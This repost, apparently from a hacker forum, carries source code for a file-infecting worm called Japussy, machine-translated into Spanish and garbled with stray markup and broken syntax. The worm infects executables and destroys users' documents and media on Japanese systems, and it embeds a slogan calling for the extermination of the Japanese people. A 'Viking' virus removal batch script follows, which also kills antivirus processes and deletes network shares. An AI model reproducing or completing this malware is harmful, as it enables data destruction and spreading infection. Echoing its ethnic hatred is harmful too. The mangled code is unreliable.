programa Japussy;
usa
Windows, SysUtils, Clases, Gráficos, ShellAPI{, Registro};
const
HeaderSize = 82432; //El tamaño del virus
IconOffset = $12EB8; //El desplazamiento del icono principal del archivo PE
//En mi Delphi5 SP1 El tamaño obtenido al compilar arriba puede ser diferente en otras versiones de Delphi
//Busque la cadena hexadecimal de 2800000020 para encontrar el desplazamiento del icono principal
{ p>
HeaderSize = 38912; //El tamaño del virus comprimido por Upx
IconOffset = $92BC; //El desplazamiento del icono principal del archivo PE comprimido por Upx
// Uso de Upx 1.24W: upx -9 --8086 Japussy.exe
}
IconSize = $2E8 //El tamaño del icono principal del PE. file--744 bytes
IconTail = IconOffset IconSize; //La cola del icono principal del archivo PE
ID = $44444444 //Marca de infección
//Código basura para escribir
p>Catchword = ''''''''''''''Si es necesario eliminar una raza, debe ser Yamato ''. ''''''''''' '''
''''''''''''''Si un país necesita ser destruido, ¡debe ser Japón! ''''''''''' '''''
''''''''''''*** W32.Japussy.Worm.A *** ''''''''' ''''''';
{$R *.RES}
función RegisterServiceProcess(dwProcessID, dwType: Entero): Entero;
stdcall; external ''''''''''''''Kernel32.dll'''''''''' //Declaración de función p>
var
TmpFile: cadena;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Booleano = False; // Marca del sistema operativo japonés
{ Determinar si es Win9x }
función IsWin9x: booleano;
var
Ver : TOSVersionInfo;
comenzar
Resultado:= Falso;
Ver.dwOSVer
sionInfoSize:= SizeOf(TOSVersionInfo);
si no GetVersionEx(Ver) entonces
Salir;
si (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) entonces //Win9x
Resultado:= Verdadero;
fin;
{Copiar entre secuencias}
procedimiento CopyStream(Src: TStream; sStartPos: Entero ; Dst: TStream;
dStartPos: Entero; Contar: Entero
var
sCurPos, dCurPos: Entero
comenzar;
sCurPos:= Src.Position;
dCurPos:= Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst .Seek(dCurPos, 0);
end;
{Separe el archivo host del archivo PE infectado para su uso}
procedimiento ExtractFile(FileName: string );
var
sStream, dStream: TFileStream;
comenzar
probar
sStream:= TFileStream .Create(ParamStr(0), fmOpenRead o fmShareDenyNone);
prueba
dStream:= TFileStream.Create(FileName, fmCreate);
prueba p>
sStream.Seek(HeaderSize, 0); //Omitir la parte del virus del encabezado
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finalmente
dStream.Free
fin
finalmente
sStream.Free
fin;
excepto
end;
end;
{rellenar estructura STARTUPINFO}
procedimiento FillStartupInfo(var Si: STARTUPINFO; Estado: Palabra);
comenzar
Si.cb:= TamañoDe(Si);
Si.lpReserved:= nil;
Si.lpDesktop:= nil;
Si.lpTitle:= nil;
>
Si.dwFlags:= STARTF_USESHOWWINDOW;
Si.wShowWindow:= Estado;
Si.cbReserved2:= 0;
Si.lpReserved2: = nil;
fin;
{Enviar correo electrónico venenoso}
procedimiento EnviarMail;
comenzar
/ /¿Quién está dispuesto a completar esto?
end;
{Infectar archivo PE}
procedimiento InfectOneFile(Nombre de archivo: cadena);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infectado , IsPE: booleano;
i: entero;
Buf: matriz[0..1] de Char
comienzo
try //Si ocurre un error, el archivo se está utilizando, salga
if CompareText(FileName, ''''''''''''''JAPUSSY.EXE'''' '''' '''''''') = 0 entonces //Si eres tú mismo, no serás infectado
Salir;
Infectado:= False;
IsPE:= False;
SrcStream:= TFileStream.Create(FileName, fmOpenRead);
intente
para i:= 0 a $108 hacer //Verificar el encabezado del archivo PE
comenzar
SrcStream.Seek(i, soFromBeginning
SrcStream.Read(Buf, 2);
si (Buf [0] = #80) y (Buf[1] = #69) entonces //marca PE
comienza
IsPE:= True; //Es un archivo PE
Break
end
end
SrcStream.Seek(-4, soFromEnd); //Comprueba el indicador de infección
SrcStream.Read(iID, 4);
if (iID = ID) o (SrcStream.Size lt; 10240) entonces //Archivos que sean demasiado pequeños no serán infectados
Infectado: = True
finalmente
SrcStream.Free
end; p>
si está infectado o (no es IsPE), entonces // Si está infectado o no es un archivo PE, salga
Salir;
IcoSt
resam := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
prueba
aIcon := TIcon.Create
intente
//Obtenga el ícono principal (744 bytes) del archivo infectado y guárdelo en la secuencia
aIcon.ReleaseHandle;
aIcon.Handle: = ExtractIcon (HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finalmente
aIcon.Free
;end;
SrcStream:= TFileStream.Create(FileName, fmOpenRead);
//Archivo de encabezado
HdrStream:= TFileStream.Create(ParamStr (0 ), fmOpenRead o fmShareDenyNone);
prueba
//Escribe los datos antes del icono principal del virus
CopyStream(HdrStream, 0, DstStream , 0, IconOffset);
//Escribe el icono principal del programa actual
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//Escribe datos entre el icono principal del virus y la cola del virus
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//Escribe en el programa host
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//Escribir etiquetas infectadas
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finalmente
HdrStream.Free;
fin;
finalmente
SrcStream.Free
IcoStream.Free
DstStream.SaveToFile( FileName); //Reemplazar el archivo host
DstStream.Free
end
except
end; >
end;
{Escriba el archivo de destino en código basura y luego elimínelo}
procedimiento SmashFile(FileName: string);
var
ArchivoHa
ndle: Entero;
i, Tamaño, Masa, Máx., Len: Entero
comenzar
probar
SetFileAttributes(PChar( FileName), 0); //Eliminar el atributo de solo lectura
FileHandle:= FileOpen(FileName, fmOpenWrite) //Abrir el archivo
intentar
Tamaño: = GetFileSize(FileHandle, nil); //Tamaño del archivo
i:= 0;
Aleatorizar;
Máx.:= Aleatorio(15) ; // Número aleatorio de veces para escribir código basura
si Max lt; 5 entonces
Max: = 5
Masa: = Tamaño div Max; //Cada uno El tamaño del bloque de intervalo
Len:= Longitud(Catchword);
while i lt Max do
comenzar
<; p> FileSeek(FileHandle, i * Mass, 0); //Posicionamiento//Escribe código basura para destruir completamente el archivo
FileWrite(FileHandle, Catchword, Len);
Inc(i);
fin;
finalmente
FileClose(FileHandle); p> end;
DeleteFile(PChar(FileName)); //Eliminarlo
excepto
end; /p>
{Obtener una lista de unidades grabables}
función GetDrives: cadena;
var
DiskType: Word;
D: Char;
Str: cadena;
i: Entero;
comenzar
para i:= 0 a 25 do //Atravesar 26 letras
comenzar
D := Chr(i 65
Str := D '''''''''); ''' '''':\'''''''''''''';
DiskType:= GetDriveType(PChar(Str));
// Obtener el disco local y el disco de red
si (DiskType = DRIVE_FIXED) o (DiskType = DRIVE_REMOTE) entonces
Resultado:= Resultado D;
end ;
end;
p>
end;
{Atravesar directorios, infectar y destruir archivos}
procedimiento LoopFiles( Ruta, Máscara: cadena);
var
var
p>
i, Recuento: Entero;
Fn, Ext: cadena;
SubDir: TStrings;
SearchRec: TSearchRec;
Mensaje: TMsg;
función IsValidDir(SearchRec: TSearchRec): Entero;
comenzar
if (SearchRec.Attr lt; gt; 16) y (SearchRec.Name lt; gt; '''''' ''''''''''.'''''''''''''') y
(SearchRec.Name lt;gt; '''''' ''''''''''..'''''''''''''') luego
Resultado:= 0 //No es un directorio
else if (SearchRec.Attr = 16) y (SearchRec.Name lt; gt; ''''''''''''''.'''''''''' ' ''') y
(SearchRec.Name lt;gt; ''''''''''''''''..''''''''' ' '''') then
Resultado:= 1 //No es el directorio raíz
else Resultado:= 2 //Es el directorio raíz
fin;
comenzar
si (FindFirst(Path Mask, faAnyFile, SearchRec) = 0) entonces
comenzar
repetir
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //Ajusta la cola de mensajes para evitar despertar sospechas
si IsValidDir(SearchRec) = 0 entonces
comenzar
Fn:= Ruta SearchRec.Name;
Ext:= UpperCase(ExtractFileExt(Fn));
if (Ext = '''' ''''' ''''''''.EXE'''''''''''') o (Ext = ''''''''''''''''. SCR'' '''''''''''') luego
comenzar
InfectOneFile(Fn); //Infectar el archivo ejecutable
end
else if (Ext = ''''''''''''''.HTM'''''''''''') o ( Ext = ''''''''''''''.HTML'''''''''''') o (Ext = '''''''''' ' '''''.ASP'''''''''''') luego
comenzar
//Infecta archivos HTML y ASP y virus codificados en Base64 escribiendo
//Infecta a todos los usuarios que navegan por esta página web
//¿Qué hermano mayor está dispuesto a completarla?
>
fin
si no Ext = ''''''''''''''.WAB'''''''''''' entonces / /Archivo de libreta de direcciones de Outlook
comenzar
//Obtener dirección de correo electrónico de Outlook
finalizar
else if Ext = ''' '' '''''''''''.ADC'''''''''''' luego //Archivo de autocompletar dirección de Foxmail
comenzar
/ /Obtener dirección de correo electrónico de Foxmail
end
else if Ext = ''''''''''''''''IND'''' ''''' ''''''' luego //Archivo de la libreta de direcciones de Foxmail
comenzar
//Obtener la dirección de correo electrónico de Foxmail
fin p>
else
comienza
si es japonés entonces //Es un sistema operativo japonés
comienza
si (Ext = ' ''' ''''''''''''.DOC'''''''''''') o (Ext = '''''''''''' ''''. XLS'''''''''''''') o (Ext = ''''''''''''.MDB''''' ''''''''' '') o
(Ext = ''''''''''''.MP3''''''''' ''''''') o (Ext = ''''''''''''''''.RM'''''''''''') o (Ext = '''''''''''' ''''.RA'''''''''''') o
(Ext = ''' '''''''''''''.WMA '''''''''''''') o (Ext = '''''''''''' ''.ZIP''''''''''' ''') o (Ext = ''''''''''''''''.RAR''''''' ''''''''') o
(Ext = '''''''''''''''.MPEG''''''''' ''''') o (Ext = ''''''' '''''''''.ASF'''''''''''') o (Ext = ' '''''''''''''''.JPG'' ''''''''''') o
(Ext = ''''' '''''''''''.JPEG'''''''' '''''''') o (Ext = '''''''''''''' .GIF'''''''''''''') o ( Ext = ''''''''''''''.SWF''''''''' ''''''') o
(Ext = '' '''''''''''''.PDF''''''''''' ''') o (Ext = '''''''''''' '.CHM''''''
'''''''''') o (Ext = ''''''''''''''.AVI'''''''''''') entonces
SmashFile(Fn); //Destruye el archivo
end;
end
end; //Dormir durante 200 milisegundos después de infectar o eliminar un archivo para evitar sospechas debido al alto uso de la CPU
Sleep(200);
hasta (FindNext(SearchRec) lt; gt; 0
end;
FindClose(SearchRec);
SubDir := TStringList.Create
if (FindFirst(Ruta '); '''''''''''''''*.*'''''''''''', faDirectory, SearchRec) = 0) luego
comenzar
repetir
si IsValidDir(SearchRec) = 1 entonces
SubDir.Add(SearchRec.Name);
hasta ( FindNext(SearchRec ) lt; gt; 0);
fin;
BuscarRec
Contar:= SubDir.Count - 1; p> p>
for i := 0 para contar do
LoopFiles(Path SubDir.Strings ''''''''''''\''''''' ''''''''', Máscara);
FreeAndNil(SubDir);
end;
{Recorre todos los archivos del disco}
procedimiento InfectFiles;
var
DriverList: cadena;
i, Len: entero;
comenzar
si GetACP = 932 entonces //Sistema operativo japonés
IsJap:= True //¡Vete al infierno!
DriverList:= GetDrives; //Obtener la lista de discos grabables
Len:= Longitud(DriverList);
mientras True do //Bucle infinito< / p>
begin
for i := Len downto 1 do //Recorre cada unidad de disco
LoopFiles(DriverList ''''''''''' '' ''': \'''''''''''''''', ''''''''''''*.*'''''' '''' '''''); //Infección
SendMail; //Enviar correos electrónicos venenosos
Sleep(1000 * 60 * 5); //Dormir 5 minutos
end;
end;
{El programa principal comienza}
comienza
si IsW
in9x entonces //Es Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //Registrarse como proceso de servicio
else //WinNT
comenzar
//Asignación remota de subprocesos al proceso Explorer
//¿Qué hermano está dispuesto a completar esto?
end;
//Si es el virus original.
if CompareText(ExtractFileName(ParamStr(0)), ''''''' ' ''''''''Japussy.exe'''''''''''''') = 0 entonces
InfectFiles //Infección y envío de correos electrónicos
else //Ha parasitado el programa host y ha comenzado a trabajar
begin
TmpFile:= ParamStr(0); //Crea un archivo temporal
Eliminar(TmpFile, Longitud(TmpFile) - 4, 4);
TmpFile:= TmpFile #32 ''''''''''''''''.exe''''' '''''''''; //Archivo host real, un espacio más
ExtractFile(TmpFile); //Separación
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, Verdadero,
0, nil, '''''''''' '' ''.'''''''''''''', Si, Pi); //Crear un nuevo proceso para ejecutar
InfectFiles //Infectar y enviar correos electrónicos
p>
end;
end.
Indique la fuente de la nueva publicación: www.honkercn.net
Lo siguiente es para aclarar a Weijin y Panda Procesamiento por lotes del virus de la quema de incienso
@echo off
title Herramienta para eliminar la última variante del virus VIKING (logo_1, panda quema de incienso)
@echo Eliminando la última variante del virus VIKING Herramientas
pausa
si existe windir\rundl132.exe echo --- Informe al jefe que hay una emboscada del virus Weijin ¡Déjeme matarlo! -----
si existe windir\logo_1.exe echo ---Informe al jefe que hay una emboscada de virus vikingo ¡Déjame matarlo-----
//Matar proceso vikingo
tskill logo_1
tskill rundl132
tskill zt
tskill wow
tskill logo1
tskill Ravmon
tskill Eghost
tskill Mailmon
tskill KAVPFW
tskill IPARMOR
tskill Ravmond
taskkill /f /im 0sy.exe
taskkill
/f /im 1sy.exe
taskkill /f /im 2sy.exe
taskkill /f /im 3sy.exe
taskkill /f /im 4sy .exe
taskkill /f /im 5sy.exe
taskkill /f /im 6sy.exe
taskkill /f /im 7sy.exe
taskkill /f /im 8sy.exe
taskkill /f /im 9sy.exe
//Eliminar troyano
del d:\_desktop .ini /f/s/q/a
del c:\Program Files\_desktop.ini
del Windir\MickNew\MickNew.dll
del Windir\MH_FILE\MH_DLL.dll
del Windir\_desktop.ini
del Windir\TODAYZTKING\TODAYZTKING.DLL
attrib -h -r -s c: \go.exe
del c:\go.exe
del c:\setup.exe
attrib -h -s -r c:\autorun. inf
del c:\autorun.inf
attrib -h -r -s d:\go.exe
del d:\go.exe p>
del d:\setup.exe
attrib -h -s -r d:\autorun.inf
del d:\autorun.inf
del e:\setup.exe
atributo -h -r -s e:\go.exe
del e:\go.exe
atributo -h -s -r e:\autorun.inf
del e:\autorun.inf
atributo -h -r -s f:\go.exe
del f:\go.exe
del f:\setup.exe
attrib -h -s -r f:\autorun.inf
del f :\autorun.inf
attrib -h -r -s g:\go.exe
del g:\go.exe
del g:\setup .exe
attrib -h -s -r g:\autorun.inf
del g:\autorun.inf
del h:\go.exe
del h:\setup.exe
attrib -h -s -r g:\autorun.inf
del h:\autorun.inf
del i:\go.exe
attrib -h -s -r g:\autorun.inf
del i:\autorun.inf
del i:\setup.exe
del j:\g
o.exe
attrib -h -s -r g:\autorun.inf
del j:\autorun.inf
del j:\setup.exe
del windir\system\Logo1_.exedel windir\system\Logo_1.exe
del windir\rundl132.exe
del windir\vDll.dll p>
del windir\Dll.dll
del windir\0Sy.exe
del windir\1Sy.exe
del windir\2Sy.exe
del windir\3Sy.exe
del windir\5Sy.exe
del windir\1.com
@echo ^_ ^ Informe al jefe, todos los VIKINGS han sido ejecutados
@echo Estoy muy cansado, inmunicemos su sistema nuevamente. Si no lo necesita, salga directamente
. pausa
//Sistema inmunológico
echo gt; windir\Logo1_.exe
echo gt;rundl132.exe
echo; gt; windir\0Sy.exe
echo gt; windir\vDll.dll
echo gt; .exe
echo gt; windir\rundll32.exe
echo gt; windir\3Sy.exe
echo windir\5Sy.exe
echo gt; windir\1.com
echo gt; windir\exerouter.exe
echo gt\EXP10RER.com
echo; gt; windir\finders.com
echo gt; windir\Shell.sys
echo gt; windir\kill.exe
echo gt; .dll
echo gt; windir\sws32.dll
echo gt; windir\uninstall\rundl132.exe
echo gt; /p>
echo gt; windir\WINLOGON.exe
echo gt; windir\RUNDLL32.EXE
echo gt;"Archivos de programa"\svchost.exe
echo gt; C:\"Archivos de programa"\"Internet Explorer"\svchost.exe
echo gt\Download\svchost.exe
echo gt; windir\system32\ wldll.dll
atributo windir\Logo1_.exe s
r h
attrib windir\rundl132.exe s r h
attrib windir\0Sy.exe s r h
attrib windir\vDll.dll s r h
attrib windir\1Sy.exe s r h
attrib windir\2Sy.exe s r h
attrib windir\rundll32.exe s r h
attrib windir\3Sy.exe s r h
attrib windir\5Sy.exe s r h
attrib windir\1.com s r h
attrib windir\exerouter.exe s r h
attrib windir \EXP10RER.com s r h
attrib windir\finders.com s r h
attrib windir\Shell.sys s r h
attrib windir\kill.exe s r h
attrib windir\sws.dll s r h
attrib windir\sws32.dll s r h
attrib windir\uninstall\rundl132.exe s r h
attrib windir \SVCHOST.exe s r h
attrib windir\WINLOGON.exe s r h
attrib windir\RUNDLL32.EXE s r h
attrib C:\"Archivos de programa"\svchost .exe s r h
atributo C:\"Archivos de programa"\"Internet Explorer"\svchost.exe s r h
atributo windir\Download\svchost.exe s r h
>attrib windir\system32\wldll.dll s r h
participación neta c$ /del
participación neta d$ /del
participación neta e$ /del
participación neta f$ /del
participación neta admin$ /del
participación neta ipc$ /del
cls
@echo ------------------------------------------
@ He matado a todos los vikingos del eco, ja, eso es increíble
@echo ¡El sistema ha sido inmune exitosamente!
@echo Gracias por tu uso, reinicia ¡tu computadora!
p>
@echo --------------------------------- ----
pausa